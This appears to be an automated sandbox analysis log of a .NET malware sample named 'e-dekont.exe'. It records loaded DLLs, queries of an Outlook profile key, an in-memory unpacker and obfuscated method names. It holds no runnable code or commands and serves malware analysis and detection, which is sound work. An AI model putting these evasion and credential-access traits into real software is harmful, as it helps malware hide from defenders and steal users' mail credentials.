Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: e-dekont.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: e-dekont.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: e-dekont.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wGVE.pdbSHA256S source: e-dekont.exe
Source:	Binary string: wGVE.pdb source: e-dekont.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: e-dekont.exe, Form1.cs	.Net Code: InitializeComponent
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, sZO3HFIRxWuEpruDfq.cs	.Net Code: DV8ePiLWbw System.Reflection.Assembly.Load(byte[])
Source: 0.2.e-dekont.exe.2b052b4.1.raw.unpack, HomeView.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, sZO3HFIRxWuEpruDfq.cs	.Net Code: DV8ePiLWbw System.Reflection.Assembly.Load(byte[])
Source: 0.2.e-dekont.exe.73b0000.12.raw.unpack, HomeView.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, sZO3HFIRxWuEpruDfq.cs	.Net Code: DV8ePiLWbw System.Reflection.Assembly.Load(byte[])

Source: e-dekont.exe

Static PE information: 0xFFD1EFAD [Sun Jan 3 07:54:21 2106 UTC]

Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_0295E460 pushfd ; retf	0_2_0295E461
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F4507 pushad ; retf	0_2_073F4508
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 0_2_073F44FD pushad ; retf	0_2_073F44FE
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_02DC9770 push esp; ret	2_2_02DC9771
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0359F push es; iretd	2_2_06C0367C
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C03621 push es; iretd	2_2_06C0367C
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C09045 push es; ret	2_2_06C0904C
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0359F push es; iretd	2_2_06C0367C

Source: e-dekont.exe

Static PE information: section name: .text entropy: 7.955212716673103

Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, GFmq6jeWw2VPHLdjXQ.cs	High entropy of concatenated method names: 'PRL0M0SX9U', 'NuD0Ca4lgp', 'S3u0pLnMDB', 'hp20DsVE5H', 'hOB03rn42v', 'ffj04xGQTX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, SBhr37Eba3HGHsc4GS.cs	High entropy of concatenated method names: 'FrsFiYwdUH', 'CgEFJFbBj6', 'v1G0TuhbKD', 'IFn0StgSqy', 'prAFZkVctd', 'gQbFxw7Btq', 'pkuFByijjg', 'rc3F3v6M8i', 'MvNFcZrPNx', 'zniF1Nn5Us'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, SokUCaY3uiJOKtiAys2.cs	High entropy of concatenated method names: 'eDWjUoqhn4', 'nFyjsbI1r5', 'HiojPcDeCw', 'eW2jEELp8N', 'gx5jtvIBvd', 'IxjjngxuBg', 'o0KjfiX5ye', 'RFijAgOQES', 'vRajq8Fcec', 'cOYjQf5x9T'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, YSg4KxWDvO5g0WLFjV.cs	High entropy of concatenated method names: 'cweYEQc6ed', 'HjDYnXUG6F', 'fMMYAaLRY6', 'AdFYqZUW1F', 'RN3Y2a2CwI', 'QjkYgWVBDN', 'PNvYF7Qi9l', 'TmfY08ys7p', 'wXtYjouk3Z', 'fE9Yr18YDF'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, K0BC4Ea55hp7C27VHS.cs	High entropy of concatenated method names: 'TQKNo1LuXs', 'kQtNUhxOUD', 'KI1NPFiESx', 'OyqNETO8S4', 'npmNn4TV2v', 'mYCNfHbjhD', 'Q7uNqoAhdw', 'SfrNQKxNU3', 'UrfqPBZeGWxXjrgcSRs', 'UQ5KDuZq40ZgwfJdeiB'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, gKGHQrtfF8pAIlCF7W.cs	High entropy of concatenated method names: 'ay4jSBJLtc', 'QehjbSroLC', 'lCAje9gyo9', 'DGYjKLWkry', 'K7sjWu06va', 'nD8j6wAQ9Y', 'OBljNvBXQk', 'GcG0H2dZd6', 'G1o0igXqop', 'RZf0aqYqL4'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, mg7ueT58ImXGqb211X.cs	High entropy of concatenated method names: 'N4IFONfuOj', 'D91FkosvTG', 'ToString', 'NDYFKb8j0E', 'gA0FWa4Sf0', 'HcjFYjbqZK', 'PmWF6MVbbI', 'uiQFNbM75v', 'xGwFh4tYNp', 'DoGFugXCgZ'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, LIgXRi1giEMrRmxvTU.cs	High entropy of concatenated method names: 'BAX2my8DYJ', 'PAu2xNOBiy', 'oHf23v0pYJ', 'G6V2ckQNRu', 'jtc2CcDpVO', 'z0N2pacRBT', 'dvQ2DmDIIE', 'c1124pxbyn', 'AGX29ygSkw', 'WEM2lE8isd'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, eNAIGeMhT6QTnJZQ2c.cs	High entropy of concatenated method names: 'S5bPtZHrU', 'Xu4E0Z48e', 'oPfnqwjRY', 'D9qfdNRD9', 'RyZqD81iX', 'x1CQbZpV3', 'cwDIZU5gTwhp5CqvsF', 'LwFq4PIDUU5RVsWInQ', 'FmO0Qc1iG', 'SXsr21pK9'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, CY9iQ9UQIfrGylb4q6.cs	High entropy of concatenated method names: 'vpWhK7orJA', 'dvrhY5ZOms', 'MebhN8rPCo', 'yt1NJsdvTr', 'qovNzBxmLh', 'GiKhTD63Sb', 'YkohSFYS9F', 'FHJhGlO2cB', 'towhb2BRAP', 'eEbheCq6ha'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, mleEQrRUKsxHalQgKV.cs	High entropy of concatenated method names: 'sR2hUjkjuY', 'CI7hswiGpZ', 'udihPInVh4', 'u1MhEAlS8C', 'RCchtH9qYP', 'YgGhnIoph7', 'G0Ghf5q8jx', 'pAAhAk5lSV', 'RZFhq2f2o4', 'fVchQpnF2G'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, sZO3HFIRxWuEpruDfq.cs	High entropy of concatenated method names: 'hXybwoSpjL', 'wwLbKT9WiK', 'A66bWtOqX8', 'Gi9bYQAxOl', 'YQJb61AoqN', 'RmNbNdJuAm', 'h6AbhK2Ief', 'kQHbuDpAmO', 'NnmbLym8SI', 'gh6bO74BP5'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, dTtXywlp86sra2ZdK5.cs	High entropy of concatenated method names: 'YfvW3Nv924', 'k5HWcdw4bv', 'UjCW1lP4XK', 'XX4WyG6Vc1', 'BLNW59pmUg', 'R5aWdX9baC', 'FNqWH3Yeyj', 'qTsWikWrAt', 'Ix9WaKtdJK', 'yVoWJxDpV8'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, vCntCIAQv8LQSynJxw.cs	High entropy of concatenated method names: 'b8tNwgwHEK', 'lKlNWSxC3u', 'aFsN6K63RU', 'I4gNhheH02', 'CONNuBxD25', 'sfI652WpJf', 'q6a6dcQdbc', 'NYA6HrqfEI', 'CG96i8YQBS', 'eRV6aL0xFc'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, sIoks92u7sGwTcwfTc.cs	High entropy of concatenated method names: 'Dispose', 'PUwSaYWp5V', 'uy7GC2ZiSR', 'KU977WqTaB', 'gvQSJ5BSZb', 'ra0SzybWl7', 'ProcessDialogKey', 'Er8GTL9Oe5', 'lqtGSfZrZc', 'RkVGGBEoHK'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, o9fI1yvIhFCGn4Lj8I.cs	High entropy of concatenated method names: 'enFShZH9cB', 'ff0SuUUkHH', 'Ae2SOkAwoN', 'vQWSkKm5Ay', 'XfcS2KAMMc', 'nVeSg1ZQfL', 'iLaCOt7LcTlUfSLaac', 'Mhx1tcyPEOXdEtyN5n', 'AOPoATGyn5Dr9cLuQ5', 'pI3SSHISBU'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, sbP0BMFZWXXPlLosyI.cs	High entropy of concatenated method names: 'DpLVAQa1xh', 'aiyVqdWXLN', 'qpQVMYLlQp', 'N39VCYn3OK', 'q3kVD4HA5h', 'DyeV4BscSc', 'Wn4VlZc1bS', 'kNHVvxfJfo', 'oNSVm6vDpK', 'fnvVZcAeYl'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, knCdjVGr83uL8hhtgn.cs	High entropy of concatenated method names: 'WXw0K1hMX7', 'alD0WekIPk', 'etV0YUMVTL', 'Thw06l0ppY', 'bSU0Nr1UdS', 'xNJ0h3Yk9G', 'rFu0uNj1WT', 'AUD0L9p0sn', 'jQX0OiuP6m', 'PVA0kfpP3C'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, EP2N8kZihyVdcM1idG.cs	High entropy of concatenated method names: 'YR5N1GnYKI', 'LxxNybEF8e', 'RNON5OPUi1', 'ToString', 'cIlNdolAZ6', 'RcKNH7G8bx', 'BywWSQZI3G7SFrmadrb', 'usOr7lZ9hQ2J7wMoraq', 'c8A6MhZU2edj2bXVebJ'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, iJAQ07YkZftAiMs5moQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'yrnr3CSHWV', 'XnUrcHUgFo', 'OyVr17lhjB', 'AfUryghEWy', 'RaXr5Y9XA3', 'O1urds94Gx', 'YQjrHK7qmG'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, sW8unUTVCmAe5wJ2kF.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Ax2GarCKHH', 'sMcGJpgUx7', 'AIWGzj3W4M', 'BYbbT69Si4', 'Dj5bS11gX1', 'ykhbGOpRYb', 'YsSbbh072T', 'P1f8RgOu7Vv5tcGXTlT'
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, KWjDk4zb0JGixMxZ7j.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'a3TjVatgX3', 'f2oj2h02U9', 'zHTjgcjwR9', 'D6kjFPJYem', 'Vanj0B7qac', 'GQdjjYvP3s', 'HEyjrIHOVT'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, GFmq6jeWw2VPHLdjXQ.cs	High entropy of concatenated method names: 'PRL0M0SX9U', 'NuD0Ca4lgp', 'S3u0pLnMDB', 'hp20DsVE5H', 'hOB03rn42v', 'ffj04xGQTX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, SBhr37Eba3HGHsc4GS.cs	High entropy of concatenated method names: 'FrsFiYwdUH', 'CgEFJFbBj6', 'v1G0TuhbKD', 'IFn0StgSqy', 'prAFZkVctd', 'gQbFxw7Btq', 'pkuFByijjg', 'rc3F3v6M8i', 'MvNFcZrPNx', 'zniF1Nn5Us'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, SokUCaY3uiJOKtiAys2.cs	High entropy of concatenated method names: 'eDWjUoqhn4', 'nFyjsbI1r5', 'HiojPcDeCw', 'eW2jEELp8N', 'gx5jtvIBvd', 'IxjjngxuBg', 'o0KjfiX5ye', 'RFijAgOQES', 'vRajq8Fcec', 'cOYjQf5x9T'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, YSg4KxWDvO5g0WLFjV.cs	High entropy of concatenated method names: 'cweYEQc6ed', 'HjDYnXUG6F', 'fMMYAaLRY6', 'AdFYqZUW1F', 'RN3Y2a2CwI', 'QjkYgWVBDN', 'PNvYF7Qi9l', 'TmfY08ys7p', 'wXtYjouk3Z', 'fE9Yr18YDF'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, K0BC4Ea55hp7C27VHS.cs	High entropy of concatenated method names: 'TQKNo1LuXs', 'kQtNUhxOUD', 'KI1NPFiESx', 'OyqNETO8S4', 'npmNn4TV2v', 'mYCNfHbjhD', 'Q7uNqoAhdw', 'SfrNQKxNU3', 'UrfqPBZeGWxXjrgcSRs', 'UQ5KDuZq40ZgwfJdeiB'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, gKGHQrtfF8pAIlCF7W.cs	High entropy of concatenated method names: 'ay4jSBJLtc', 'QehjbSroLC', 'lCAje9gyo9', 'DGYjKLWkry', 'K7sjWu06va', 'nD8j6wAQ9Y', 'OBljNvBXQk', 'GcG0H2dZd6', 'G1o0igXqop', 'RZf0aqYqL4'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, mg7ueT58ImXGqb211X.cs	High entropy of concatenated method names: 'N4IFONfuOj', 'D91FkosvTG', 'ToString', 'NDYFKb8j0E', 'gA0FWa4Sf0', 'HcjFYjbqZK', 'PmWF6MVbbI', 'uiQFNbM75v', 'xGwFh4tYNp', 'DoGFugXCgZ'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, LIgXRi1giEMrRmxvTU.cs	High entropy of concatenated method names: 'BAX2my8DYJ', 'PAu2xNOBiy', 'oHf23v0pYJ', 'G6V2ckQNRu', 'jtc2CcDpVO', 'z0N2pacRBT', 'dvQ2DmDIIE', 'c1124pxbyn', 'AGX29ygSkw', 'WEM2lE8isd'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, eNAIGeMhT6QTnJZQ2c.cs	High entropy of concatenated method names: 'S5bPtZHrU', 'Xu4E0Z48e', 'oPfnqwjRY', 'D9qfdNRD9', 'RyZqD81iX', 'x1CQbZpV3', 'cwDIZU5gTwhp5CqvsF', 'LwFq4PIDUU5RVsWInQ', 'FmO0Qc1iG', 'SXsr21pK9'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, CY9iQ9UQIfrGylb4q6.cs	High entropy of concatenated method names: 'vpWhK7orJA', 'dvrhY5ZOms', 'MebhN8rPCo', 'yt1NJsdvTr', 'qovNzBxmLh', 'GiKhTD63Sb', 'YkohSFYS9F', 'FHJhGlO2cB', 'towhb2BRAP', 'eEbheCq6ha'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, mleEQrRUKsxHalQgKV.cs	High entropy of concatenated method names: 'sR2hUjkjuY', 'CI7hswiGpZ', 'udihPInVh4', 'u1MhEAlS8C', 'RCchtH9qYP', 'YgGhnIoph7', 'G0Ghf5q8jx', 'pAAhAk5lSV', 'RZFhq2f2o4', 'fVchQpnF2G'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, sZO3HFIRxWuEpruDfq.cs	High entropy of concatenated method names: 'hXybwoSpjL', 'wwLbKT9WiK', 'A66bWtOqX8', 'Gi9bYQAxOl', 'YQJb61AoqN', 'RmNbNdJuAm', 'h6AbhK2Ief', 'kQHbuDpAmO', 'NnmbLym8SI', 'gh6bO74BP5'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, dTtXywlp86sra2ZdK5.cs	High entropy of concatenated method names: 'YfvW3Nv924', 'k5HWcdw4bv', 'UjCW1lP4XK', 'XX4WyG6Vc1', 'BLNW59pmUg', 'R5aWdX9baC', 'FNqWH3Yeyj', 'qTsWikWrAt', 'Ix9WaKtdJK', 'yVoWJxDpV8'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, vCntCIAQv8LQSynJxw.cs	High entropy of concatenated method names: 'b8tNwgwHEK', 'lKlNWSxC3u', 'aFsN6K63RU', 'I4gNhheH02', 'CONNuBxD25', 'sfI652WpJf', 'q6a6dcQdbc', 'NYA6HrqfEI', 'CG96i8YQBS', 'eRV6aL0xFc'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, sIoks92u7sGwTcwfTc.cs	High entropy of concatenated method names: 'Dispose', 'PUwSaYWp5V', 'uy7GC2ZiSR', 'KU977WqTaB', 'gvQSJ5BSZb', 'ra0SzybWl7', 'ProcessDialogKey', 'Er8GTL9Oe5', 'lqtGSfZrZc', 'RkVGGBEoHK'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, o9fI1yvIhFCGn4Lj8I.cs	High entropy of concatenated method names: 'enFShZH9cB', 'ff0SuUUkHH', 'Ae2SOkAwoN', 'vQWSkKm5Ay', 'XfcS2KAMMc', 'nVeSg1ZQfL', 'iLaCOt7LcTlUfSLaac', 'Mhx1tcyPEOXdEtyN5n', 'AOPoATGyn5Dr9cLuQ5', 'pI3SSHISBU'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, sbP0BMFZWXXPlLosyI.cs	High entropy of concatenated method names: 'DpLVAQa1xh', 'aiyVqdWXLN', 'qpQVMYLlQp', 'N39VCYn3OK', 'q3kVD4HA5h', 'DyeV4BscSc', 'Wn4VlZc1bS', 'kNHVvxfJfo', 'oNSVm6vDpK', 'fnvVZcAeYl'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, knCdjVGr83uL8hhtgn.cs	High entropy of concatenated method names: 'WXw0K1hMX7', 'alD0WekIPk', 'etV0YUMVTL', 'Thw06l0ppY', 'bSU0Nr1UdS', 'xNJ0h3Yk9G', 'rFu0uNj1WT', 'AUD0L9p0sn', 'jQX0OiuP6m', 'PVA0kfpP3C'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, EP2N8kZihyVdcM1idG.cs	High entropy of concatenated method names: 'YR5N1GnYKI', 'LxxNybEF8e', 'RNON5OPUi1', 'ToString', 'cIlNdolAZ6', 'RcKNH7G8bx', 'BywWSQZI3G7SFrmadrb', 'usOr7lZ9hQ2J7wMoraq', 'c8A6MhZU2edj2bXVebJ'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, iJAQ07YkZftAiMs5moQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'yrnr3CSHWV', 'XnUrcHUgFo', 'OyVr17lhjB', 'AfUryghEWy', 'RaXr5Y9XA3', 'O1urds94Gx', 'YQjrHK7qmG'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, sW8unUTVCmAe5wJ2kF.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Ax2GarCKHH', 'sMcGJpgUx7', 'AIWGzj3W4M', 'BYbbT69Si4', 'Dj5bS11gX1', 'ykhbGOpRYb', 'YsSbbh072T', 'P1f8RgOu7Vv5tcGXTlT'
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, KWjDk4zb0JGixMxZ7j.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'a3TjVatgX3', 'f2oj2h02U9', 'zHTjgcjwR9', 'D6kjFPJYem', 'Vanj0B7qac', 'GQdjjYvP3s', 'HEyjrIHOVT'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, GFmq6jeWw2VPHLdjXQ.cs	High entropy of concatenated method names: 'PRL0M0SX9U', 'NuD0Ca4lgp', 'S3u0pLnMDB', 'hp20DsVE5H', 'hOB03rn42v', 'ffj04xGQTX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, SBhr37Eba3HGHsc4GS.cs	High entropy of concatenated method names: 'FrsFiYwdUH', 'CgEFJFbBj6', 'v1G0TuhbKD', 'IFn0StgSqy', 'prAFZkVctd', 'gQbFxw7Btq', 'pkuFByijjg', 'rc3F3v6M8i', 'MvNFcZrPNx', 'zniF1Nn5Us'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, SokUCaY3uiJOKtiAys2.cs	High entropy of concatenated method names: 'eDWjUoqhn4', 'nFyjsbI1r5', 'HiojPcDeCw', 'eW2jEELp8N', 'gx5jtvIBvd', 'IxjjngxuBg', 'o0KjfiX5ye', 'RFijAgOQES', 'vRajq8Fcec', 'cOYjQf5x9T'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, YSg4KxWDvO5g0WLFjV.cs	High entropy of concatenated method names: 'cweYEQc6ed', 'HjDYnXUG6F', 'fMMYAaLRY6', 'AdFYqZUW1F', 'RN3Y2a2CwI', 'QjkYgWVBDN', 'PNvYF7Qi9l', 'TmfY08ys7p', 'wXtYjouk3Z', 'fE9Yr18YDF'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, K0BC4Ea55hp7C27VHS.cs	High entropy of concatenated method names: 'TQKNo1LuXs', 'kQtNUhxOUD', 'KI1NPFiESx', 'OyqNETO8S4', 'npmNn4TV2v', 'mYCNfHbjhD', 'Q7uNqoAhdw', 'SfrNQKxNU3', 'UrfqPBZeGWxXjrgcSRs', 'UQ5KDuZq40ZgwfJdeiB'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, gKGHQrtfF8pAIlCF7W.cs	High entropy of concatenated method names: 'ay4jSBJLtc', 'QehjbSroLC', 'lCAje9gyo9', 'DGYjKLWkry', 'K7sjWu06va', 'nD8j6wAQ9Y', 'OBljNvBXQk', 'GcG0H2dZd6', 'G1o0igXqop', 'RZf0aqYqL4'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, mg7ueT58ImXGqb211X.cs	High entropy of concatenated method names: 'N4IFONfuOj', 'D91FkosvTG', 'ToString', 'NDYFKb8j0E', 'gA0FWa4Sf0', 'HcjFYjbqZK', 'PmWF6MVbbI', 'uiQFNbM75v', 'xGwFh4tYNp', 'DoGFugXCgZ'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, LIgXRi1giEMrRmxvTU.cs	High entropy of concatenated method names: 'BAX2my8DYJ', 'PAu2xNOBiy', 'oHf23v0pYJ', 'G6V2ckQNRu', 'jtc2CcDpVO', 'z0N2pacRBT', 'dvQ2DmDIIE', 'c1124pxbyn', 'AGX29ygSkw', 'WEM2lE8isd'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, eNAIGeMhT6QTnJZQ2c.cs	High entropy of concatenated method names: 'S5bPtZHrU', 'Xu4E0Z48e', 'oPfnqwjRY', 'D9qfdNRD9', 'RyZqD81iX', 'x1CQbZpV3', 'cwDIZU5gTwhp5CqvsF', 'LwFq4PIDUU5RVsWInQ', 'FmO0Qc1iG', 'SXsr21pK9'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, CY9iQ9UQIfrGylb4q6.cs	High entropy of concatenated method names: 'vpWhK7orJA', 'dvrhY5ZOms', 'MebhN8rPCo', 'yt1NJsdvTr', 'qovNzBxmLh', 'GiKhTD63Sb', 'YkohSFYS9F', 'FHJhGlO2cB', 'towhb2BRAP', 'eEbheCq6ha'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, mleEQrRUKsxHalQgKV.cs	High entropy of concatenated method names: 'sR2hUjkjuY', 'CI7hswiGpZ', 'udihPInVh4', 'u1MhEAlS8C', 'RCchtH9qYP', 'YgGhnIoph7', 'G0Ghf5q8jx', 'pAAhAk5lSV', 'RZFhq2f2o4', 'fVchQpnF2G'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, sZO3HFIRxWuEpruDfq.cs	High entropy of concatenated method names: 'hXybwoSpjL', 'wwLbKT9WiK', 'A66bWtOqX8', 'Gi9bYQAxOl', 'YQJb61AoqN', 'RmNbNdJuAm', 'h6AbhK2Ief', 'kQHbuDpAmO', 'NnmbLym8SI', 'gh6bO74BP5'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, dTtXywlp86sra2ZdK5.cs	High entropy of concatenated method names: 'YfvW3Nv924', 'k5HWcdw4bv', 'UjCW1lP4XK', 'XX4WyG6Vc1', 'BLNW59pmUg', 'R5aWdX9baC', 'FNqWH3Yeyj', 'qTsWikWrAt', 'Ix9WaKtdJK', 'yVoWJxDpV8'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, vCntCIAQv8LQSynJxw.cs	High entropy of concatenated method names: 'b8tNwgwHEK', 'lKlNWSxC3u', 'aFsN6K63RU', 'I4gNhheH02', 'CONNuBxD25', 'sfI652WpJf', 'q6a6dcQdbc', 'NYA6HrqfEI', 'CG96i8YQBS', 'eRV6aL0xFc'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, sIoks92u7sGwTcwfTc.cs	High entropy of concatenated method names: 'Dispose', 'PUwSaYWp5V', 'uy7GC2ZiSR', 'KU977WqTaB', 'gvQSJ5BSZb', 'ra0SzybWl7', 'ProcessDialogKey', 'Er8GTL9Oe5', 'lqtGSfZrZc', 'RkVGGBEoHK'
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, o9fI1yvIhFCGn4Lj8I.cs	High entropy of concatenated method names: 'enFShZH9cB', 'ff0SuUUkHH', 'Ae2SOkAwoN', 'vQWSkKm5Ay', 'XfcS2KAMMc', 'nVeSg1ZQfL', 'iLaCOt7LcTlUfSLaac', 'Mhx1tcyPEOXdEtyN5n', 'AOPoATGyn5Dr9cLuQ5', 'pI3SSHISBU'
